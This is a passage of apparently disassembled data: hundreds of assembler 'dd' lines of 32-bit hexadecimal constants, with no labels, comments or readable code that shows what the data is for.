		dd 0F2369562h, 0AF6E6CD2h, 0F13E2548h, 46410F2h, 0C8205563h
		dd 0E027DA36h, 54EEBC6Ch, 6A426F5Ah, 1DC57AD8h,	0C1EA158h
		dd 0E2F16F3Bh, 5832D297h, 42FF21F1h, 0C84E273h,	240DB1D7h
		dd 1E7F6C4Ch, 52A80008h, 0AD66B053h, 0F7C9D732h, 0BC0A7A18h
		dd 533E0AE7h, 4018EA8Ah, 28951841h, 5945C55Dh, 0EB452025h
		dd 59C24AE4h, 5AC02CF0h, 7CB7C27Ah, 4460731h, 7048149Eh
		dd 9EAA0283h, 3DD97CC1h, 0AE90388Ch, 33308688h,	0F1BB77A2h
		dd 1CF831AFh, 7B5C78E2h, 37FB7B2h, 43532B15h, 0FE489031h
		dd 227AC23Dh, 0C86C3AE5h, 5EE496EFh, 86C9557Ah,	60E81359h
		dd 4B381FF7h, 326CEDE9h, 77DDEA6Ah, 6908D7DAh, 4F5FEFD5h
		dd 0FE8A55DAh, 39740B58h, 0BFE4B8F1h, 7D5A5DD9h, 1311597Ah
		dd 67AD2D4Dh, 66E1181Fh, 0FA12FFD4h, 43E5E962h,	45FCAC6Ah
		dd 91A97B33h, 0BD4A23F0h, 0BBE4A4EEh, 1B55BBDEh, 0D314B9DFh
		dd 23D15E51h, 718F2760h, 1303D9A1h, 83A3092Ch, 0B2891DC1h
		dd 7E9B2E96h, 2F4E861Eh, 51D1598Fh, 9202C315h, 9720E90Dh
		dd 58EECFB6h, 0F911C9BAh, 13E461C5h, 29D24BE3h,	2B73B2EFh
		dd 543CC2DDh, 0B4BE0C8Fh, 1B766780h, 0DDD2BACEh, 1AE4FE98h
		dd 60CEC250h, 591DC02Ch, 87B743E2h, 0D13C7951h,	0F2D6BEAAh
		dd 14556AFBh, 2996009Eh, 0E6E3E6ECh, 0CAD617D8h, 95F68F04h
		dd 0F843A566h, 2CF20279h, 584D8031h, 33A3B57h, 7D55B5F6h
		dd 0A0DFEF71h, 0F7C81984h, 10D34A0Bh, 47A7B51Ch, 9316F4FBh
		dd 4B1A7661h, 1E0E0095h, 0BC5DD329h, 0FADD7139h, 51504769h
		dd 61B76B1Ah, 50C241FDh, 2D59699Ch, 0FECE8CA4h,	1BDCA29Eh
		dd 0B0835137h, 4E6714CEh, 0CDFD49BEh, 0C0C2E6F6h, 0F4A1A710h
		dd 2E4C8BF4h, 8D33EB37h, 0AD1CF82Ah, 0E05B7169h, 0BD24C9E5h
		dd 67A9F86Ch, 0AEFE9638h, 630F61Eh, 0EBB0C251h,	269A7252h
		dd 6859C429h, 3A9851DFh, 1CF43448h, 0F222888h, 0FCF75743h
		dd 2D06861Ah, 536C1593h, 3297F415h, 0EEA44A97h,	3D6D8370h
		dd 0DF7E03CFh, 60C31CB1h, 0C11D0568h, 0A0D2FE06h, 0A581F198h
		dd 97144DA2h, 0CB4C6D81h, 0BFCEBC29h, 98DD83B5h, 66039D89h
		dd 296021A8h, 0BE71C249h, 0AF24D2BBh, 0E3E89256h, 0AB49FB10h
		dd 0D7D9023Ah, 146FC5D4h, 0A6AC2975h, 515C176Eh, 195BC51h
		dd 47C26E89h, 359C24AAh, 0B44B06AFh, 3D77EFE6h,	883903Fh
		dd 3F2B3CCCh, 5D50957h,	0A7CE38E5h, 5DD6FBA7h, 8E7E19FEh
		dd 0CEAECAAh, 2AF50781h, 2DCB7086h, 4AD7B922h, 0BF420ADh
		dd 8C4B76B5h, 290B2B68h, 7B1E215Dh, 0C07BD942h,	0EC3F0008h
		dd 1D87387Bh, 0E2C2A759h, 45075F3Eh, 9F448160h,	0F4BC582Eh
		dd 0C751A70h, 403BEEAAh, 47C9E898h, 0CBD4B4AAh,	88A6AECFh
		dd 0FB3C77FDh, 0EBDED98Dh, 0C040A1EBh, 9B72207Ch, 2C6F112h
		dd 53BC7439h, 0EE532C10h, 0A7FD0F42h, 4C209A19h, 3840AB40h
		dd 73B22D38h, 6595B758h, 0AD5EC05Fh, 7745D69Ch,	8F9126Fh
		dd 0D7949ADDh, 8D87E748h, 7B2CBBDBh, 0C9A43C29h, 0DA497D87h
		dd 0B96B0DF4h, 3702E51Ch, 0A78357CAh, 0C42A6759h, 0DF56E6B4h
		dd 0E5EECEDFh, 9EBD583Dh, 8B3AD1A9h, 47D10589h,	3885CC53h
		dd 0F7DF19CCh, 48766591h
		dd 0FDDBA54Eh, 5044E425h, 0B8AACBA7h, 6ABE6BEBh, 0E3D40B9Dh
		dd 101D8098h, 32755FF8h, 0FF6FB2DCh, 565B20F6h,	0BBE77A91h
		dd 140A1277h, 0F99B3EB1h, 0D1F53C27h, 98C6F339h, 640B85BFh
		dd 0CBD016B9h, 59E93B49h, 68F61327h, 211ABA80h,	0B83DD478h
		dd 0CF009B79h, 18D2125Fh, 0EDB8CF63h, 1D3E5A65h, 739DA339h
		dd 0FC08D1A2h, 4416AC7Ah, 0F89DDAB0h, 0EE0B7F41h, 0FE7C9FD3h
		dd 0B05521F3h, 561D7729h, 43DB0655h, 6F209BB6h,	0ED7C84FDh
		dd 0A0E0CF07h, 0A2B3AD42h, 0ED014306h, 17CFA900h, 187A2B66h
		dd 0E201AB1Fh, 70D20A9Ah, 0AF90718h, 93B8C632h,	2B7EBD29h
		dd 505D25CFh, 7A6E9827h, 0C63363A3h, 91EA9780h,	67114766h
		dd 1F5064CCh, 0B64F09C7h, 8BA00157h, 0A831C4FCh, 12456D57h
		dd 6402C98Bh, 9B8DFB48h, 0DB512C83h, 675FEC88h,	0FE9FB5D4h
		dd 1B0A7EBh, 3778BD60h,	409DF15Ch, 3817795Ah, 55C4039Eh
		dd 0A217E4F4h, 0A4102472h, 0C8CDCA4Ch, 7325B806h, 5448DF9h
		dd 0F5197FDh, 6070145Ah, 0B3BFAF8Ah, 8785A87Ah,	0C29F8F0h
		dd 0E5D812D5h, 0F57C4B1Dh, 1375ECC0h, 81474B63h, 0F3AC777h
		dd 4B4688C1h, 52D79ECAh, 1F8B6FDh, 17AB754Ch, 996E5905h
		dd 1775BF45h, 0BE0A0A4Fh, 0E64CEBF8h, 3299DE7Bh, 0D9660A36h
		dd 0A00BCFD8h, 67D9D66Dh, 0D51E9A57h, 0F3D4EE82h, 0B8CCBB22h
		dd 7BA4AA83h, 2EE836C8h, 9C223000h, 890D14FCh, 0EBD1726Dh
		dd 0B129F479h, 70E0477Eh, 0A9C0DFD9h, 6271B991h, 99D4CDDDh
		dd 7D35506Bh, 0CF091B62h, 0F4ECDDB2h, 6FB63868h, 0FFC3C2F2h
		dd 3DC6A003h, 0E544D445h, 0F528C52h, 0E53C7B05h, 0A07899CFh
		dd 756E1D88h, 2A2E993Fh, 6D2C2A5Eh, 0C011AC6Ch,	0A5AA0C94h
		dd 0A8470FA3h, 8CD1D6A1h, 0DFB20DA1h, 0F7E59359h, 5DF8EC0Dh
		dd 43595D06h, 0F1F3BA50h, 2F855434h, 16EEA4AAh,	0FD8D6032h
		dd 0A45B3CE1h, 8FD644ECh, 0A673CD71h, 0FB7F35DCh, 823AB9CDh
		dd 93D1B8Ch, 3CF3F99Fh,	14B2C5CBh, 59F745C3h, 0E791C383h
		dd 81C7FAB9h, 0B6D24E61h, 0A91A786Bh, 26B2A071h, 0A5D29731h
		dd 814E90F8h, 0EF8886EDh, 7A30F7CDh, 0B08A45B2h, 7B934CBCh
		dd 0B49923FAh, 0F6D03953h, 3CD92B7Fh, 5813F9DBh, 144629D7h
		dd 3DA5AF4h, 0E41952EBh, 3D9A7F69h, 22A51274h, 5E5C39C2h
		dd 7B93E49Eh, 5B328F7h,	0DB4898DEh, 0D0A06D9Eh,	7CE5C8B1h
		dd 2E550FD7h, 64D563BFh, 1D472E01h, 480C0333h, 0B0F6AB6Ah
		dd 3E540599h, 31761E46h, 0F1643F3Bh, 9B272B9Bh,	0E177A4C6h
		dd 267DBA62h, 6CEB65A6h, 95744120h, 0C2EE6B04h,	0DF7E4E1Dh
		dd 29EFFC92h, 82EE8792h, 0BE50BD1Ah, 96425B9Bh,	0D6399EF0h
		dd 0CCDC4138h, 0B2305DF5h, 9514E7F3h, 0B01D60D5h, 0B4CD6700h
		dd 9BEC6316h, 632A4F95h, 17D0C3D1h, 3596C8ADh, 1095DD3Ch
		dd 0A96A97CAh, 542EC302h, 7CA33061h, 26974EBBh,	0C964BC3Dh
		dd 0B273CF34h, 9F5DCFBFh, 0BA57FC2Eh, 0C91477C3h, 5E4D590Bh
		dd 32C215F0h, 0A27FF58Eh, 9D34759Bh, 6BA20F8Dh,	6A90C334h
		dd 584A7C3Dh, 2BA998A2h, 0E4F8D393h, 8F2A4D77h,	0A9C60816h
		dd 0D58D03A1h, 6A48B621h, 0BBEB18Eh, 6BAFA56Bh,	9548F410h
		dd 0DAAD6D31h, 0E44758EDh, 731D9312h, 562AA61Ch, 0C843E5DFh
		dd 0AE9E6C9Fh, 5D594BA7h, 0CA9920E2h, 0CCBCBE19h, 7C3765F4h
		dd 0C9493089h, 0FB9890C8h, 90BC1870h, 0CAC69785h, 7C12F033h
		dd 0B2525A6Fh, 0D4A2E076h, 0AE686C5Ah, 931986D6h, 0DB95BE6Ah
		dd 6097D75Ah, 0A8E5203Dh, 6A209FB1h, 2E8B4BD8h,	0C9686820h
		dd 805AFC35h, 0D1368815h, 454BF106h, 559F28B7h,	0A8714C77h
		dd 95A0A219h, 533B3E09h, 6B2E1F4Fh, 34744668h, 0B6D417ECh
		dd 5C5E7F90h, 1FCF61D4h, 0D7BA565Ah, 0B69A546Fh, 0FFBFCE28h
		dd 0F6D81BE1h, 0CC65361h, 5462D157h, 0C1FF403Ch, 7DE933Bh
		dd 805DD004h, 3E168C08h, 0C4AE0AC9h, 0C7CF5959h, 8B54A733h
		dd 76D32058h, 65522E41h, 0B6FE2605h, 0DF1DC609h, 0A94D150h
		dd 9B89EDA9h, 3BE64E4Bh, 45EFDF15h, 39C83F22h, 13DAADA7h
		dd 0A2DBB8B9h, 3EA882E6h, 1892025h, 89D14898h, 0F0321727h
		dd 2A77B909h, 0D26DAD0Dh, 5713E1A3h, 0EAA5431Fh, 94D3478Ch
		dd 4F162010h, 51B9C800h, 7329915Ch, 0F46063C7h,	0C68B4C42h
		dd 0FBBD6DA6h, 0A7BF2B4Bh, 9D978053h, 0B78E8DB5h, 580D6A3Dh
		dd 821A6DDh, 838BC4A2h,	79CA2981h, 96A471DAh, 0E84B9D6Bh
		dd 0D4711B53h, 1294B1B1h, 0D9635C24h, 62884B82h, 5AF26B59h
		dd 7B0CB03Bh, 20E0150Eh, 0E990BC18h, 24DAF612h,	0E4A64910h
		dd 9F176341h, 652D656Ch, 5F5AE2Eh, 5C59EAB6h, 4F846804h
		dd 4BE7278Bh, 83EBE994h, 0A95F170Fh, 0DE9AEC8Bh, 200A518Eh
		dd 50443C65h, 2680427h,	0B0A71AE6h, 4E06957Bh, 0F863184Ah
		dd 67B2B8DFh, 6C2F7F84h, 99BA583h, 73BBB79Ah, 0C1BC145Ch
		dd 1AE94E4h, 63534E40h,	9C0347AAh, 0B65C1A76h, 80086445h
		dd 96820C7Ch, 3711BD9Dh, 2417AD8Dh, 99D1713Eh, 1B563C85h
		dd 8B97C0A9h, 21D14976h, 1D28B491h, 0B093F3F0h,	453C9A76h
		dd 0C64966CEh, 25BB942Eh, 0C17F3EF1h, 866A3B61h, 0CE34953Fh
		dd 5C329D20h, 31501AA5h, 39A2AC9Ch, 48541E57h, 607E5FBCh
		dd 5D3CBD3Ch, 0BEB76B74h, 2BD28050h, 8D6911B8h,	899B8AEDh
		dd 7CB92EE5h, 1321A0CCh, 0CAD66255h, 0C8A95E7Dh, 0A05C0B55h
		dd 0B56E563Bh, 89DC748Fh, 79E5FCC5h, 4728F49Dh,	6F6908C1h
		dd 649FD787h, 0EC410294h, 0DC333B22h, 7A3349A0h, 29976BA4h
		dd 0AB3345A0h, 0F7EC80Bh, 19B28EACh, 0A24F9A16h, 7C75FFB3h
		dd 2293910h, 83D4E763h,	348DD90Ch, 6641E3B8h, 7303731h
		dd 2F12001Fh, 0CA3E2DE6h, 0A09D5B73h, 99D4AE1Bh, 7E62E261h
		dd 0CB92E61Fh, 758280D2h, 9512648h, 6D6FE06Eh, 3493B85Bh
		dd 75412EABh, 0E5DB5099h, 0F2C506AEh, 4CB08BF8h, 0A28913Ch
		dd 7C79C954h, 39AE9663h, 0FB8D6ADEh, 9F349C53h,	2BF2B3DDh
		dd 0D1216197h, 0F34D622Eh, 7547A91Dh, 0F4E53A32h, 0AF927786h
		dd 0AB32EAAEh, 0EEE461CEh, 0A1A00A1Ah, 46FF722Bh, 0DD54EE1Ah
		dd 0E774EC22h, 567F0D74h, 46EC87CCh, 113D0376h,	0B15186EDh
		dd 0CB70042Dh, 0B6749631h, 501D089Ah, 1DF5A6ADh, 0E3840D5Dh
		dd 0EFE1B991h, 6368D207h, 0F4E857DDh, 928E46F2h, 797D7EAFh
		dd 0CA589C1h, 4BF56E03h, 2F3E04E5h, 57651A1Fh, 5A900FC8h
		dd 0CAB72589h, 0C523B373h, 2F36B1Ah, 75BCC58Dh,	47D37Ah
		dd 0ECC0BFFh, 913614C0h, 9B0E9057h, 5C02E5F6h, 618C4B8Bh
		dd 4741508Dh, 5760CD79h, 76B6CFA3h, 7A43972Eh, 0C8DA940Fh
		dd 0DE176CA7h, 0B9D45E99h, 523A33E5h, 3CF17650h, 9FD0FB50h
		dd 0CC80566Eh, 8EF477B9h, 0FE644C3h, 3F2B0A1Ch,	5DA6DC50h
		dd 0F8E45349h, 0F20746BEh, 0B55E3094h, 0FA6F7813h, 0EC08AA46h
		dd 48C13819h, 7869FE83h, 88D0473Fh, 100B234Ch, 5B21DC3Eh
		dd 0ED3E262Fh, 0D93B7884h, 0F6C8DC53h, 48AA9720h, 44228AC5h
		dd 0F1C96AF4h, 86B8E76Ah, 1D5CDEEFh, 0CA71A974h, 275AF992h
		dd 56AE0BBEh, 42DFDDBh,	78B7C6BCh, 803F94D1h, 6F0BAB79h
		dd 902A0421h, 45DF07DEh, 885A4126h, 8606BA37h, 0D6334FFh
		dd 23396292h, 8C0AB0B6h, 0B3C7ABDCh, 77E47CB8h,	736655B1h
		dd 0DB180F3h, 25F0301Eh, 0DFDDFC91h, 3B7EE9BCh,	7A402D5Dh
		dd 0DFFF4576h, 0AD1E01F3h, 0A964137Dh, 8E2C46ACh, 0DAF2FC7Bh
		dd 0DE01C408h, 7F5AC6B8h
		dd 7D448BDEh, 2E28249h,	0E8313A07h, 0B2235D90h,	0FC2C648h
		dd 0C5AB4C2Dh, 0C76D89D2h, 0EA666CB5h, 0EF435BBCh, 755EBFA8h
		dd 6FFF3E30h, 0F81B2743h, 83003184h, 8A2B92E6h,	0A8E76254h
		dd 0D6ABBCD3h, 9EAB3C40h, 46EC4710h, 0F994D4C8h, 0A3A438D8h
		dd 89F8F40h, 996566A2h,	90FDCB54h, 0C5BB02FCh, 0BA894B3h
		dd 0DDE0FB4Ah, 0E2561DA4h, 3B47899Ah, 6602156Ch, 3DB2C831h
		dd 0DDCE7403h, 0B79CD6C0h, 0DEA0A630h, 26702508h, 6B196607h
		dd 6421EB0Eh, 0C2AE0F72h, 0ABBE32Dh, 50F2C601h,	629A0FF9h
		dd 7F368276h, 3B829A5Ah, 0F1609470h, 0F73C1990h, 5637EC8Bh
		dd 612BC574h, 0DB247C1Bh, 63B32DC6h, 527A10ABh,	0F234ED0Dh
		dd 634A23FEh, 9314ED9Dh, 0E4466161h, 0E208E5E9h, 7C181D78h
		dd 0BB4FE2DEh, 0E342D6F9h, 0C7A0DE25h, 0D3CDF11Dh, 0AB7EFA72h
		dd 338140E7h, 981B9F4Ah, 98D5D7F9h, 0EB740194h,	0C486720Ch
		dd 0A4B8BCE6h, 4379FA39h, 0E8C8EA73h, 0AA552842h, 7F533868h
		dd 55724005h, 0C3F67A94h, 356B93BFh, 0CC45B4EDh, 93EC48F7h
		dd 4CA98649h, 3D7320F0h, 0CD1EB4A2h, 76EFBD58h,	31D9CB08h
		dd 0F70AC179h, 0ECA670EBh, 3B5EE14Eh, 9FC0C243h, 947D3E80h
		dd 900E9A7Bh, 403B5586h, 5F412CD5h, 0A74BDB2Dh,	5E0B9FF4h
		dd 0EB39B659h, 0CA3243BBh, 0C10CC8D2h, 3EE8E9D8h, 2A4B1E97h
		dd 0A44AFA3Fh, 0B9ABE107h, 9E6A1123h, 757057E5h, 0A6B0F34Ah
		dd 0E8FB513Dh, 0C26B40CDh, 75E7FC78h, 7FF11739h, 62591EF2h
		dd 0F7C7B06h, 0A3F94951h, 0BF95D012h, 872005FCh, 0DCBAE239h
		dd 7F61AF9Bh, 0BAE21D24h, 27360AFAh, 92DC2DAAh,	20F09047h
		dd 0C9B91410h, 0AF389518h, 0F631C4F2h, 0BA58FC51h, 46D679AAh
		dd 13BF3EDAh, 0FEE7EE1Ah, 7DE779A6h, 48585860h,	0E1B8F48Bh
		dd 5B0F75B0h, 120544AFh, 3A938DDCh, 0E9B31948h,	0D78B28B5h
		dd 0A9AD78F4h, 0E6F4A18Fh, 0DF9FCD3Bh, 2C360057h, 9F3F658Ch
		dd 65814825h, 0C8593F73h, 0CE8329C6h, 0E719BD83h, 764D0D1Dh
		dd 0AD6D3D0Fh, 0D7BEDB84h, 0DEBCAEEEh, 9FA5681h, 0EA279485h
		dd 8482AD0Bh, 58D13734h, 260DB263h, 747A58C5h, 76B7EA8Dh
		dd 0FFDE59D4h, 213B53Eh, 0B32FBF14h, 964A4B06h,	0A6938557h
		dd 8ECB70DFh, 0F2AB60F2h, 7ACDAACCh, 29D460C8h,	0A96D0D86h
		dd 7C9FA98Ch, 0C866378h, 6100D2Ch, 5C3E1996h, 0F5B68Ah
		dd 690BEE98h, 0DE92449Ch, 0C308FC59h, 5EF3789Ah, 9DD405B4h
		dd 7970D50h, 2D4A7C82h,	884849A8h, 1DF70C17h, 6E4A3A2Dh
		dd 2DFA3D2Ch, 0D0518D0Eh, 0C1456B2Dh, 49D867BDh, 8424DB5Eh
		dd 0F3078BA3h, 0B85A9B1Dh, 0E2699B0Ch, 7168337Ch, 6AB1C695h
		dd 8798442Ah, 7298F7F6h, 4A23CCF5h, 46A45F81h, 51E8B77Dh
		dd 0F69FCAC5h, 9F4CB28Fh, 0F2F812EBh, 0E8C636F0h, 65EA291h
		dd 0A031D445h, 0F85F066Fh, 0CA632B5h, 0FD276EA3h, 88B625D3h
		dd 0D1B32CCEh, 0A67B3A92h, 737D0015h, 9FCB5A30h, 0AD96BEEh
		dd 173A4681h, 0ED0807EEh, 0F2C322B3h, 0B9ABB1EAh, 0F29F0D2Bh
		dd 0F7F8F4F1h, 90FF7DCEh, 5A4B8E7Dh, 0AC62D53Eh, 4AB3104Bh
		dd 2F2765C7h, 0CC3503DCh, 6A2FB2C1h, 1962EF82h,	0F28F1AE9h
		dd 2C136CBFh, 0DE254D0Fh, 758A2932h, 0C673006Eh, 92C266B8h
		dd 0D4855D0Ah, 812651F4h, 92B03F89h, 165343B5h,	236784BFh
		dd 3E88702Ah, 0E4A2C042h, 2DBD5FEEh, 0E6211E6Eh, 3C9DFB57h
		dd 9914E005h, 0F3ADD433h, 9622D36Ch, 0FC64DF9Fh, 14D7AFAh
		dd 8C89F0C4h, 0CEBA9203h, 6D4AF473h, 8CA61515h,	6F4A1097h
		dd 0A17D9B3h, 2BF9E77Ah, 0F73F78C2h, 964C7409h,	20DD463h
		dd 0E5CE36D6h, 53B6962Bh, 5AB5DE26h, 6428188Ah,	594ADF9Dh
		dd 0A6667F0Ah, 222815C8h, 8673CD5Eh, 799C75BEh,	0EDDCD18Ah
		dd 1176269h, 38A4FD8Fh,	2867A77Eh, 78FB0D50h, 0C1901D9Dh
		dd 41BBC1A8h, 48F742EBh, 0A9544101h, 473D9653h,	8E5B2416h
		dd 0CA4CBBC5h, 6C12673Bh, 0B690C8CAh, 1B95305Eh, 2847D711h
		dd 0AD4357D1h, 0DC776308h, 97F8A7ACh, 59114874h, 0BAE40567h
		dd 72A16635h, 1C8F3D8Ah, 5E68116Dh, 7130FD58h, 1652785Ch
		dd 0EA775DB4h, 92AB443Eh, 34AC5DFh, 206448F0h, 278A00D2h
		dd 13F474B8h, 84C1C381h, 756400FCh, 54D38216h, 1FEF5918h
		dd 0DB8D4343h, 27EB7D3Ah, 0B649BBA4h, 0C52CBC26h, 77EF435Ah
		dd 9BB699B4h, 3D6B5BCFh, 1F40938Eh, 0D07AF617h,	0F68BE0B0h
		dd 7918157Bh, 0B3392058h, 99146708h, 273FB4A0h,	920322CBh
		dd 0DC9A9862h, 6219A2A9h, 2D18AC5Fh, 0D285E4A5h, 0F91F7C2Eh
		dd 0FFA3416Bh, 0C9335520h, 0DE927FE9h, 0C2E11EA5h, 9A6A640Dh
		dd 4E55C6B5h, 0A89A583Dh, 99375BD8h, 0F4759AA5h, 0AF59AD2Ch
		dd 0E5D23A97h, 1A39BC57h, 0F27800BFh, 81392696h, 98AA81FFh
		dd 0C8988B3Dh, 0E383337h, 1EB86D7Dh, 0EF290DC0h, 612257B7h
		dd 8B67C140h, 0C857EB7h, 6E256D34h, 10E09BB6h, 4A0C5E5Ah
		dd 764894BBh, 0D9A4E44Bh, 0DF5DBC95h, 0C113C7ECh, 3D716AE2h
		dd 0ED991F1Eh, 77C1FE92h, 0EBA1FA1Bh, 55774919h, 0BD0CC28Ch
		dd 1D915559h, 3A4230D4h, 0F088BC2Dh, 21EB7863h,	442A04E4h
		dd 0FCF74136h, 9607176Eh, 4910C2CEh, 34E44CB3h,	0E8521C29h
		dd 89C097E9h, 43E0AE9Eh, 0EF1EAF05h, 0CAF4036Bh, 0C7D6F784h
		dd 52D613BEh, 22643C7Eh, 4B81E425h, 93669F49h, 9B189DDAh
		dd 5D65DD42h, 51196B1Ch, 1B84409Bh, 2DF867E1h, 9EDDFFD7h
		dd 7A5FC6FAh, 545B23B4h, 0A2AEC6B3h, 754C1F96h,	99323E6Dh
		dd 0EC46AC99h, 1B6C16D4h, 0FA8C88F5h, 0E9673092h, 0D982E74Dh
		dd 0BC644796h, 509D091Fh, 0A192309h, 9DDFB60Dh,	7E79AEBDh
		dd 85AD670Dh, 0F7CB39D1h, 154340F2h, 5C8324CBh,	986B5C82h
		dd 367957C4h, 112E6D98h, 3163890h, 1EB9ECDFh, 75BB4CF9h
		dd 0D200F769h, 43E47489h, 42D2AC26h, 83AE15E4h,	69922353h
		dd 0E949805Ch, 68CCA8E2h, 3AEEC69Bh, 0AF7776h, 0F10E4102h
		dd 0B7D166CAh, 7FE8F357h, 5F051663h, 7B71952Ch,	0FA95CAC9h
		dd 5AEC9854h, 0C8C3AF3Fh, 34CB27Fh, 0D7773E46h,	424DF4F4h
		dd 60E9DE7h, 853132E4h,	0E5C5CA2Ch, 48ABE53Ch, 3C0D1A2h
		dd 0BE15870Ah, 2B86A576h, 3AE3E785h, 2D042D7h, 759A8BEFh
		dd 2C23539Bh, 47130759h, 2A258ED8h, 0D6E16AA3h,	78FE6C50h
		dd 658EA858h, 51FCEC70h, 90CA62FCh, 0BD985A97h,	0C4C971E7h
		dd 725E3C76h, 461775A1h, 76AC9805h, 6CB0688Fh, 9B38D242h
		dd 0B163EEF7h, 0FAECCDF0h, 0C742C780h, 44854399h, 5EEADCFEh
		dd 54C774D3h, 5D6FBE9Bh, 0B625F42Dh, 0BDBE20B2h, 8B62FBA8h
		dd 5E68CB66h, 6021187Dh, 52850C48h, 0BE7D2AFCh,	1F85E9E0h
		dd 85650793h, 6170856Eh, 3B3A056Ah, 0E2763FECh,	0E09D6484h
		dd 75ED0B97h, 0E461BDB2h, 0A2587806h, 0D3552701h, 0BE24F6Ah
		dd 0BDD11355h, 809EAEEDh, 93923253h, 180E9015h,	2D3A8AC4h
		dd 0BB09D2D8h, 40F3459Ah, 0AAF0404h, 2443A7D8h,	0BB80F43Dh
		dd 7B005864h, 2A16DAB5h, 4959D54Eh, 562384B7h, 0F28AC9F6h
		dd 0F6C57D46h, 0B29C223Ch, 0EF07C29Fh, 0EF1A0E2Dh, 1F01F44Ch
		dd 0CFBF5F0Eh, 65973B60h, 781BDB29h, 86B48FA0h,	393FC2F6h
		dd 0E8EF9937h, 77BC627Bh, 0F3803845h, 0ED33D86Fh, 4CB1FB43h
		dd 0E9F47911h, 0E3210C2Ch, 7556735h, 0E5D0E0BBh, 0A084ECB3h
		dd 0C254E960h, 0AFA9C04Dh, 47D5069Bh, 34E6C58Fh, 0FE135070h
		dd 0CE4A3A03h, 81016A93h
		dd 22BE42B4h, 0F78216ABh, 84D8678Dh, 2785848Bh,	56932179h
		dd 80699BB2h, 0ADFFC4DCh, 4CAB3A44h, 0E106B3F0h, 0A88C2819h
		dd 0B3D64DEDh, 9CA5A56h, 1B8FA037h, 86AE36B5h, 0C019ED58h
		dd 47B41C1Bh, 8F827DAh,	0ECD42899h, 0E023C44Eh,	88910EA9h
		dd 0C182DD42h, 9889DF40h, 0F0077E22h, 8F308A6Ah, 2FA448E7h
		dd 8E3D080Fh, 3674BFA9h, 89BE832Ah, 632CDE26h, 0A341041Bh
		dd 0D2E8C345h, 0F74576Ah, 0ABA634B3h, 7AE8E8EDh, 0D3B219F3h
		dd 4B0AB4ABh, 24094297h, 4F3490BDh, 0DF40C12Fh,	365D1C66h
		dd 0F7E559FCh, 6F4A6A27h, 58C3FFA2h, 4DA59C28h,	5CE437F3h
		dd 0A8F4FA0Eh, 7D00E230h, 4421F424h, 73D07B53h,	0B166B4E9h
		dd 699252CFh, 0F9B9A231h, 44D72E5Ah, 458F54E5h,	8A82D4h
		dd 79F2ED10h, 1FC3C5B5h, 0ADC3620Eh, 39A1219Fh,	3A74264Fh
		dd 0A084AB0Ah, 6F6FB4F3h, 67F14E0Bh, 0C340A435h, 52E70083h
		dd 8F821BD3h, 20E2BCCEh, 0C310A83Dh, 0F1A83DE7h, 0DC2F7497h
		dd 2627AE9Dh, 0AC9F1C84h, 0BC8158E5h, 186C1172h, 21DCFACAh
		dd 0BF4CBA59h, 0A4CF166Fh, 6007B379h, 25CBFC97h, 54E00E8Fh
		dd 0D793E78Ch, 7D772F10h, 0B60D2BD4h, 0AAFE919h, 0B2197FB1h
		dd 4CC1544Ah, 82CCAF74h, 665B8BFEh, 62BAAD0h, 0A113481h
		dd 9F371EDBh, 0E666AD33h, 2C1D96ADh, 0E03E23E4h, 0DB213713h
		dd 0FCCAF057h, 0ADB51F3Ch, 59F09E8Ch, 27A1E2E7h, 0C5BB2B0Eh
		dd 0F949D28h, 68C65290h, 0C4E11185h, 0ED7D3580h, 0EDD1FD8Ah
		dd 0EA6E8B6Ah, 0D1EBC723h, 8141CD5Fh, 9549D65Eh, 26044159h
		dd 0E2260FB1h, 17E0FB99h, 0ED5B123Dh, 921EEC92h, 1C1352F1h
		dd 62414A54h, 0AA28A998h, 0DFBCF6D4h, 266FCA0Ah, 9813994Dh
		dd 4BD8F26Ah, 2AB0FFC4h, 0DDCCAA7Fh, 0CCB27338h, 0C861EA77h
		dd 66114AB3h, 2D8098CDh, 49DF60FCh, 74CD5AFCh, 4AB7B4ACh
		dd 63EA4FDCh, 19CCA4C7h, 1BFD1F1Eh, 0D4292E12h,	24E232D9h
		dd 0AAB83A47h, 51620F2Fh, 96B1BDBCh, 19C9FF55h,	87799122h
		dd 2B11D0D0h, 86AAF27Fh, 8314E04Dh, 4820EECh, 0D166B57Eh
		dd 814607E9h, 52F05AB6h, 0C58E3585h, 699C8C8Dh,	1DAA20A6h
		dd 7FFA53A9h, 2E621603h, 7C2C58DCh, 0D2E24031h,	8E42EFACh
		dd 566936Ah, 0E592530Ch, 0D40E10F9h, 1E4793DAh,	295FA062h
		dd 0C34F6764h, 65FC9C09h, 0A4DD3083h, 0CED54248h, 8E9F0B05h
		dd 0D50BA483h, 1D7A94F2h, 19F92C42h, 0BE252398h, 5B998A0Dh
		dd 75D8F83Ch, 0CFD48F5Eh, 142818C8h, 81D5556Ch,	37E69702h
		dd 0AFE60C49h, 615E2167h, 0C19C3599h, 95A20E9Bh, 0E02E8C2h
		dd 0C81EB2A7h, 3E92C87Bh, 0CB73EA6Bh, 7042900h,	7E0F9415h
		dd 7846ACD7h, 0A3062E11h, 0E4440DC1h, 212DE9E4h, 214989CBh
		dd 0EA380D3Dh, 48327C07h, 38A4E7C8h, 0C5B0B20h,	0A4A69394h
		dd 0F8C5EBF1h, 0BBC648Bh, 0D8FA8E52h, 268C09D9h, 6ED5C4B4h
		dd 7BAFD69Bh, 93D223C8h, 5ED141F3h, 6170710Eh, 9951A8C7h
		dd 9074CB05h, 0AFB497D1h, 8E67AEEEh, 1A9920B8h,	0BD9393FAh
		dd 8740DFD4h, 80A69BB6h, 0E8BD81Eh, 57E61933h, 2890C3C9h
		dd 62BACED8h, 78512D04h, 48552211h, 0A014DC3h, 72E499D3h
		dd 0BDD6BF68h, 2019B452h, 0CA920055h, 20613EEFh, 75176C1h
		dd 2AE30A4Ah, 13E0B5F3h, 5E0886D3h, 0C089F853h,	0EB934BE6h
		dd 12EAE0CAh, 0D00E6B29h, 0E6004521h, 0C3CCA584h, 1B1C68B8h
		dd 0B9E19026h, 0BC0DEF18h, 6FE7C4EEh, 4E37A246h, 0E399ACCDh
		dd 85AACE67h, 5C175349h, 0B5F11B31h, 18705BE2h,	75FF429Ah
		dd 0CD329BF2h, 0D665D408h, 0C8C83DF7h, 5492E8DCh, 88CF9000h
		dd 0BAB3AAD1h, 34771F14h, 8F430797h, 466FA5E4h,	0F9DAA963h
		dd 9E5765EEh, 0FD7D9845h, 22515FA4h, 34FF51E1h,	87A0279h
		dd 8EBD301Ah, 891C6F6Dh, 3D8365E7h, 19D7A632h, 0C5CE75A0h
